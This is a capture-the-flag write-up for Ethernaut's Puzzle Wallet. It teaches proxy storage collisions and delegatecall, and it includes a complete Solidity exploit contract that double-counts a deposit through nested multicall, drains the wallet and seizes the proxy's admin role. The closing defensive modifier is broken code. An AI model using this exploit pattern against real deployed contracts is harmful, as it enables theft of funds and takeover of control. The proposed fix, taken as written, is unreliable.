Writeup for Puzzle Wallet
- Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. Each challenge involves deploying a contract and exploiting its vulnerabilities. If you’re new to Solidity and haven’t deployed a smart contract before, you can learn how to do so using Remix here.
Challenge Description
Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You’ll need to hijack this wallet to become the admin of the proxy.
Things that might help:
- Understanding how delegatecall works and how msg.sender and msg.value behaves when performing one.
- Knowing about proxy patterns and the way they handle storage variables.
Key Concepts To Learn
Everyone will say that once we write a contract and deploy it to the blockchain, there is no way we can change the contract. But what if I say there is a way in which you can change the logic of your contract?
Yes, there is a way to upgrade smart contracts.
If we write all our state variables in one contract and write the logic of how the first contract should work in another contract, then make a delegate call from the state variables contract to the logic contract, all the logic will be executed in the logic contract and state changes will be done in the state variables contract. Confused? Check the example below.
Check the below example.
1
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5contract State_contract{
6
7 uint256 public Latest_Random_Number;
8 address implementation;
9
10 constructor(address _addr){
11 implementation=_addr;
12 }
13
14 function get_RandomNumber() public returns(uint256){
15 implementation.delegatecall(abi.encodeWithSignature("generate_RandomNumber()"));
16 }
17
18}
19
20contract Logic_contract{
21 uint256 public Latest_Random_Number;
22
23 function generate_RandomNumber() public{
24 Latest_Random_Number=(block.timestamp)%69;
25
26 }
27}
First, we need to deploy the Logic_contract
. Then we need to deploy the State_contract
by passing the address of the Logic_contract
as an argument to the constructor.
When we call get_RandomNumber()
in State_contract
, the function will make a delegate call
to generate_RandomNumber()
in Logic_contract
and set the Latest_Random_Number
to (block.timestamp)%69
. Now, since it is a delegate call
, the logic will be executed in the Logic_contract
and the variable Latest_Random_Number
will be changed in the State_contract
.
I hope this makes sense. I suggest everyone try out the above example in Remix by deploying it in Remix test environments.
Now, what if we wanted to change the method in which the random number is generated? Should we deploy the above two contracts again? No, instead of deploying the two contracts again, we can add one more function to change the implementation (logic contract) address during the first deployment itself. Check the example below.
Check the below example.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract State_contract{
5 uint256 public Latest_Random_Number;
6 address owner;
7 address implementation;
8
9 constructor(address _addr){
10 implementation=_addr;
11 owner=msg.sender;
12 }
13 modifier onlyOwner(){
14 require(msg.sender==owner);
15 _;
16 }
17 function get_RandomNumber()public returns(uint256){
18 implementation.delegatecall(abi.encodeWithSignature("generate_RandomNumber()"));
19 }
20
21 function change_Implementation(address _newImplementation)public{
22 implementation=_newImplementation;
23 }
24}
25
26contract Logic_contract{
27 uint256 public Latest_Random_Number;
28
29 function generate_RandomNumber()public{
30 Latest_Random_Number=(block.timestamp)%69;
31 }
32}
33
34contract Updated_Logic_contract{
35 uint256 public Latest_Random_Number;
36
37 function generate_RandomNumber()public{
38 Latest_Random_Number=uint256(blockhash(block.number-1));
39 }
40}
Deploy the first two contracts same as the first example. The difference between State_contract
in the first example and now is that we added a function to change the address of the implementation in the new example.
So, if we deploy this example same as the first example, whenever we call the get_RandomNumber()
function, it will make a delegate call
to Logic_contract
and execute the logic in Logic_contract
, changing the Latest_Random_Number
in State_contract
. Now, the logic in which the random number is determined is (block.timestamp)%69
.
Suppose we wanted to change the logic in which the random number is generated. Now, what we do is write a new contract with a new logic for random number calculation and deploy the new contract. Once the deployment is completed, we will copy the address of the new logic address and pass the new logic address while calling the change_Implementation()
function in the Logic contract.
The next time we call get_RandomNumber()
in State_contract
, the random number will be generated from the new logic contract. In this example, we have written a new contract named Updated_Logic_contract
and changed the logic in which the random number is generated.
I hope this makes sense. I suggest everyone try out the above example in Remix by deploying it in Remix test environments.
Contract Explanation
If you are in this challenge, then you would have probably solved the challenges related to delegate call and storage layout of contracts.
If you understand the contract, you can move on to the exploit part. If you’re a beginner, please read the Contract Explanation to gain a better understanding of Solidity.
1
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5pragma experimental ABIEncoderV2;
6
7import "../helpers/UpgradeableProxy-08.sol";
8
9contract PuzzleProxy is UpgradeableProxy {
10 address public pendingAdmin;
11 address public admin;
12
13 constructor(address _admin, address _implementation, bytes memory _initData)
14 UpgradeableProxy(_implementation, _initData)
15 {
16 admin = _admin;
17 }
18
19 modifier onlyAdmin() {
20 require(msg.sender == admin, "Caller is not the admin");
21 _;
22 }
23
24 function proposeNewAdmin(address _newAdmin) external {
25 pendingAdmin = _newAdmin;
26 }
27
28 function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
29 require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
30 admin = pendingAdmin;
31 }
32
33 function upgradeTo(address _newImplementation) external onlyAdmin {
34 _upgradeTo(_newImplementation);
35 }
36}
37
38contract PuzzleWallet {
39 address public owner;
40 uint256 public maxBalance;
41 mapping(address => bool) public whitelisted;
42 mapping(address => uint256) public balances;
43
44 function init(uint256 _maxBalance) public {
45 require(maxBalance == 0, "Already initialized");
46 maxBalance = _maxBalance;
47 owner = msg.sender;
48 }
49
50 modifier onlyWhitelisted() {
51 require(whitelisted[msg.sender], "Not whitelisted");
52 _;
53 }
54
55 function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
56 require(address(this).balance == 0, "Contract balance is not 0");
57 maxBalance = _maxBalance;
58 }
59
60 function addToWhitelist(address addr) external {
61 require(msg.sender == owner, "Not the owner");
62 whitelisted[addr] = true;
63 }
64
65 function deposit() external payable onlyWhitelisted {
66 require(address(this).balance <= maxBalance, "Max balance reached");
67 balances[msg.sender] += msg.value;
68 }
69
70 function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
71 require(balances[msg.sender] >= value, "Insufficient balance");
72 balances[msg.sender] -= value;
73 (bool success,) = to.call{value: value}(data);
74 require(success, "Execution failed");
75 }
76
77 function multicall(bytes[] calldata data) external payable onlyWhitelisted {
78 bool depositCalled = false;
79 for (uint256 i = 0; i < data.length; i++) {
80 bytes memory _data = data[i];
81 bytes4 selector;
82 assembly {
83 selector := mload(add(_data, 32))
84 }
85 if (selector == this.deposit.selector) {
86 require(!depositCalled, "Deposit can only be called once");
87 // Protect against reusing msg.value
88 depositCalled = true;
89 }
90 (bool success,) = address(this).delegatecall(data[i]);
91 require(success, "Error while delegating call");
92 }
93 }
94}
In the challenge, they have given us two contracts: PuzzleProxy
and PuzzleWallet
. PuzzleProxy
inherits the UpgradeableProxy
contract. Here, they have implemented upgradable logic for the PuzzleProxy
contract. PuzzleProxy
contract is similar to our State_contract
, and PuzzleWallet
contract is similar to our Logic_contract
. The function logics are written in the PuzzleWallet
contract, and state changes are done in the PuzzleProxy
contract.
If you have skipped the concepts part, you might not know what State_contract
and Logic_contract
are.
Click here to view the UpgradeableProxy
contract.
The UpgradeableProxy
contract constructor takes two arguments: the logic contract address and the init data as input. The constructor in UpgradeableProxy
makes a delegate call
to the logic contract with the init data passed to the constructor. I will briefly explain UpgradeableProxy
in the concepts part.
The main difference between the example I have explained and the PuzzleProxy
contract is the implementation of the logic contract in the state contract.
In our example, we have written functions in our State_contract
, and those functions will make a delegate call to the Logic_contract
. But here, since they are using the UpgradeableProxy
contract, it will make a delegate call in a different way. When someone calls the PuzzleProxy
contract with some data that doesn’t match any function selector in the PuzzleProxy
contract, then if there is a fallback() function in the PuzzleProxy
contract, the call made will reach the fallback() function, and the logic in the fallback() function will execute. PuzzleProxy
will make a delegate call to PuzzleWallet
when the fallback() function is hit.
1
2 function _delegate(address implementation) internal {
3 // solhint-disable-next-line no-inline-assembly
4 assembly {
5 // Copy msg.data. We take full control of memory in this inline assembly
6 // block because it will not return to Solidity code. We overwrite the
7 // Solidity scratch pad at memory position 0.
8 calldatacopy(0, 0, calldatasize())
9
10 // Call the implementation.
11 // out and outsize are 0 because we don't know the size yet.
12 let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
13
14 // Copy the returned data.
15 returndatacopy(0, 0, returndatasize())
16
17 switch result
18 // delegatecall returns 0 on error.
19 case 0 { revert(0, returndatasize()) }
20 default { return(0, returndatasize()) }
21 }
22}
23
24
25function _fallback() internal {
26 _beforeFallback();
27 _delegate(_implementation());
28}
The above code is from proxy
contract which is inherited by UpgradeableProxy
contract. If the above code doesn’t make sense don’t think much of it. Basically it will copy the calldata and makes delegate call to implemntation(PuzzleWallet) contract.
Now i will explain in detail of PuzzleProxy
and PuzzleWallet
contracts.
The PuzzleProxy
contract has two state variables named pendingAdmin
and admin
of type address.
1constructor(address _admin, address _implementation, bytes memory _initData)
2 UpgradeableProxy(_implementation, _initData)
3 {
4 admin = _admin;
5 }
The constructor of PuzzleProxy
takes three arguments: _admin
(address), _implementation
(address), and _initData
(bytes memory). It calls the constructor of UpgradeableProxy
by passing the implementation address and init data as input. Then it sets the admin to _admin
passed during the call.
1modifier onlyAdmin() {
2 require(msg.sender == admin, "Caller is not the admin");
3 _;
4}
The modifier onlyAdmin()
checks whether the msg.sender
(caller) is the admin or not.
1function proposeNewAdmin(address _newAdmin) external {
2 pendingAdmin = _newAdmin;
3}
The function proposeNewAdmin()
takes an argument of type address
(_newAdmin
) as input and sets the pendingAdmin
to _newAdmin
.
1function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
2 require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
3 admin = pendingAdmin;
4}
The function approveNewAdmin()
takes an argument of type address
(_expectedAdmin
) as input. It checks whether the _expectedAdmin
and pendingAdmin
are the same or not. If they match, then admin
will be set to pendingAdmin
. If they don’t match, the function will revert. This function has a modifier onlyAdmin
, which means the function can only be called by the admin. If someone else tries to call this function, it will revert.
1function upgradeTo(address _newImplementation) external onlyAdmin {
2 _upgradeTo(_newImplementation);
3}
The function upgradeTo()
takes an argument of type address
as input and executes the modifier onlyAdmin
. If the modifier is passed, it will upgrade the implementation contract.
Now, I will explain only one important function of the PuzzleWallet
contract. The other functions are understandable.
1
2function multicall(bytes[] calldata data) external payable onlyWhitelisted {
3 bool depositCalled = false;
4 for (uint256 i = 0; i < data.length; i++) {
5 bytes memory _data = data[i];
6 bytes4 selector;
7 assembly {
8 selector := mload(add(_data, 32))
9 }
10 if (selector == this.deposit.selector) {
11 require(!depositCalled, "Deposit can only be called once");
12 // Protect against reusing msg.value
13 depositCalled = true;
14 }
15 (bool success,) = address(this).delegatecall(data[i]);
16 require(success, "Error while delegating call");
17 }
18}
The function multicall()
takes a bytes array as input and executes the modifier onlyWhitelisted
. If the modifier is passed, for each data in the array, the function will make a delegate call to the same contract with the data as each element of the array.
Exploit
Our task is to become admin of the PuzzleProxy contract. If we open the instance address in block explorer we can find that the instance is having 0.001 amount of ether. Now let’s start exploiting the contract.
1> contract.abi
If we enter the contract.abi
we can find all the functions of PuzzleWallet contract. Now we may think that the given instance is an instance of PuzzleWallet contract. But it is not. They have given us the instance of PuzzleProxy contract and they just spoofed the abi of PuzzleWallet contract.
So all the state variables reading and writing will be done in PuzzleProxy
contract and logic execution part will be done on PuzzleWallet
contract.
1
2function proposeNewAdmin(address _newAdmin) external {
3 pendingAdmin = _newAdmin;
4}
5
6function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
7 require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
8 admin = pendingAdmin;
9}
Our task is become admin of the PuzzleProxy
contract but if we see the PuzzleProxy
contract anyone can propose the new admin but it will be only aprooved by the present admin. Since we are not the admin of the PuzzleProxy
contract we won’t be able to change the admin. So we need to think any different approach.
If we check the storage layout of PuzzleProxy
and PuzzleWallet
, we can see that both layouts are not the same. They are completely different. Even though they are different, the PuzzleWallet
must have all the state variables of the PuzzleProxy
contract, but both layouts are different. Since the PuzzleProxy
contract makes a delegate call to the PuzzleWallet
contract, we can exploit this discrepancy.
If we somehow change the maxBalance
in PuzzleWallet
during the delegate call, it will change the address of the admin in the PuzzleProxy
contract.
During the delegate call in the sense, when we make a call to the PuzzleProxy
contract with some data that matches the function selector of the PuzzleWallet
contract, the PuzzleProxy
will make a delegate call to the function that matches the function selector.
Our target is to change maxBalance
.
1
2function init(uint256 _maxBalance) public {
3 require(maxBalance == 0, "Already initialized");
4 maxBalance = _maxBalance;
5 owner = msg.sender;
6}
7
8function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
9 require(address(this).balance == 0, "Contract balance is not 0");
10 maxBalance = _maxBalance;
11}
The maxBalance
is only changed in these two functions. It is not possible to change the maxBalance
by calling init()
because when PuzzleProxy
makes a delegate call to PuzzleWallet
and calls init()
, the maxBalance
will be the address of the admin converted to uint256 and it won’t be equal to zero. So we won’t be able to call init()
. In a delegate call, state variable readings and writings will be done on the caller contract.
The only way we can change maxBalance
is by calling setMaxBalance()
. However, there is a modifier onlyWhitelisted
. In order to set maxBalance
, we need to pass the modifier and drain the balance of the contract. The modifier will check whether the msg.sender
is whitelisted or not. Here, msg.sender
won’t be the address of PuzzleProxy
; it will be the address of the caller who is calling PuzzleProxy
because in a delegate call, msg.sender
and msg.value
will be passed as the same.
1function addToWhitelist(address addr) external {
2 require(msg.sender == owner, "Not the owner");
3 whitelisted[addr] = true;
4}
The above function will add the address passed to the whitelist. However, only the owner can call this function. The owner
state variable is stored in slot0
. In the PuzzleProxy
contract, slot0
stores pendingAdmin
. Since anyone can propose the admin, if we propose our Exploit contract as the admin, then the exploit contract address will be stored as pendingAdmin
.
After making pendingAdmin
our exploit contract, we will be able to call addToWhitelist()
in the PuzzleWallet
contract. This is because we are interacting with PuzzleProxy
, and PuzzleProxy
is making a delegate call to PuzzleWallet
. When the logic in PuzzleWallet
reads some state variables, these state variables will be read from the PuzzleProxy
contract.
Once we set the pendingAdmin
to our exploit contract address, we will become the owner. The setMaxBalance()
function also has an additional check to see if the contract balance is zero. So, we need to make the contract balance zero. Once this is done, we can change the maxBalance
, which means we are changing the admin
.
1function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
2 require(balances[msg.sender] >= value, "Insufficient balance");
3 balances[msg.sender] -= value;
4 (bool success,) = to.call{value: value}(data);
5 require(success, "Execution failed");
6 }
The only way we can withdraw ether from the PuzzleProxy
contract is by calling execute()
in the PuzzleWallet
. This function checks if we have sufficient balance to withdraw. If we have sufficient balance, then we can withdraw. Before withdrawing, we need to deposit some ether into the contract.
1function deposit() external payable onlyWhitelisted {
2 require(address(this).balance <= maxBalance, "Max balance reached");
3 balances[msg.sender] += msg.value;
4}
The deposit()
function in PuzzleWallet
will check if the current balance of the PuzzleProxy
contract is less than maxBalance
. If it is less, then it updates the balance of msg.sender
with msg.value
.
The functions deposit()
and execute()
work normally, and we can’t find many exploits there. However, there is one more way we can deposit ether: by calling multicall()
with the data as the deposit()
function selector. Now, let’s deep dive into the multicall()
function.
1function multicall(bytes[] calldata data) external payable onlyWhitelisted {
2 bool depositCalled = false;
3 for (uint256 i = 0; i < data.length; i++) {
4 bytes memory _data = data[i];
5 bytes4 selector;
6 assembly {
7 selector := mload(add(_data, 32))
8 }
9 if (selector == this.deposit.selector) {
10 require(!depositCalled, "Deposit can only be called once");
11 // Protect against reusing msg.value
12 depositCalled = true;
13 }
14 (bool success,) = address(this).delegatecall(data[i]);
15 require(success, "Error while delegating call");
16 }
17}
The above function takes a bytes array as input, and for each element in the array, it will get the function selector and check if the selector is the selector of the deposit()
function. If it is deposit()
, it will set depositCalled
to true and then call deposit()
using the delegate call. This check is important due to the properties of delegate call.
Assume there are three contracts: contract_1
, contract_2
, and contract_3
. If we call a function in contract_1
and that function makes a delegate call to contract_2
, and then the function in contract_2
makes a delegate call to contract_3
, what will be the msg.sender
and msg.value
in contract_3
? They will be the msg.sender
and msg.value
of contract_1
.
In the multicall
function, if we try to call the deposit()
function twice by passing its function selector in the data
array, the transaction will revert. This is because depositCalled
is initially set to false
. When deposit()
is called for the first time, depositCalled
is set to true
. On the second iteration, when deposit()
is called again, the require
statement will fail since depositCalled
is now true
, causing the transaction to revert with the message “Deposit can only be called once”.
When someone wants to deposit two ether by sending only one ether, they might try to call the multicall()
function by passing the function selector of deposit()
in the data
array twice. However, due to the require
statement that checks if depositCalled
is false
, the transaction will revert on the second call. This prevents depositing twice with a single amount. If there were no require
statement, it would be possible because multicall()
is making a delegate call to deposit()
, and the msg.sender
and msg.value
would be the same for each call. Check the below image.
Assume there is no require statment and Suppose if we invoke multicall() with 1ether and data as function selector of deposit() twice then for the first time it will call deposit() and msg.value will be 1 ether and second time it will again call deposit() and msg.value will be 1 ether. So technically we made our balances as 2 ether
by depositing 1 ether
.
Due to the require
statement, we can’t call deposit()
twice directly. However, if we pass the calldata to invoke deposit()
as the first element of the data
array, and then pass the calldata to invoke multicall()
with the argument as calldata to invoke deposit()
, we can bypass the require
check. This way, we can set our balance to 2 ether by sending only 1 ether.
Now, if we check the balance of the PuzzleProxy
contract, it is 0.001 ether. So, we need to deposit 0.001 ether to make our balance 0.002 ether and then withdraw all the ether.
Now let’s write our exploit contract.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4interface IProxy{
5 function proposeNewAdmin(address) external;
6 function approveNewAdmin(address) external ;
7 function setMaxBalance(uint256) external;
8 function addToWhitelist(address) external;
9 function deposit() external payable ;
10 function execute(address, uint256, bytes calldata) external payable;
11 function multicall(bytes[] calldata) external payable;
12 function admin()external view returns(address);
13}
14
15
16
17contract ExploitPuzzleProxy{
18 IProxy proxy;
19 address player;
20 constructor(address _proxy){
21 proxy=IProxy(_proxy);
22 player=msg.sender;
23 }
24
25 function Exploit()public payable{
26 proxy.proposeNewAdmin(address(this));
27 proxy.addToWhitelist(address(this));
28
29 bytes[] memory main_data=new bytes[](2);
30 bytes[] memory second_deposit=new bytes[](1);
31 second_deposit[0]=abi.encodeWithSignature("deposit()");
32
33 main_data[0]=second_deposit[0];
34 main_data[1]=abi.encodeWithSignature("multicall(bytes[])",second_deposit);
35
36 proxy.multicall{value:0.001 ether}(main_data);
37 proxy.execute(player,0.002 ether,"");
38 uint256 Player_Address=uint256(uint160(player));
39 proxy.setMaxBalance(Player_Address);
40 require(proxy.admin()==player, "Exploit Failed");
41 }
42}
Deploy this contract and call the exploit function by sending 0.001 ether
or 1000000000000000 wei
. Once the call is done the challenge will be solved.
That’s it for this challenge see you in the next challenge.
If you are a beginner to blockchain and understanding this challenge, it’s a really great thing. Be proud of yourself.
Key Takeaways
Whenever we implement upgradable contracts, we need to be very careful while designing the storage layout. The logic contract and state variables contract should have the same storage layout. In this challenge, a major part of the exploit was due to the storage layout.
In order to safeguard the multicall
, we need to write a modifier that handles the inner call to multicall
.
1
2modifier Handle_Deposit(address _depositer,bytes[] _calldata){
3 bytes4 memory data = abi.encodeWithSelector(this.multicall.selector);
4 for(uint i=0;i<_calldata.length;i++){
5 if(keccak256(abi.encodePacked(bytes4(_calldata[i])))==keccak256(abi.encodePacked(data))){
6 revert("Calling multicall is not allowed here");
7 }
8 }
9 _;
10}
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments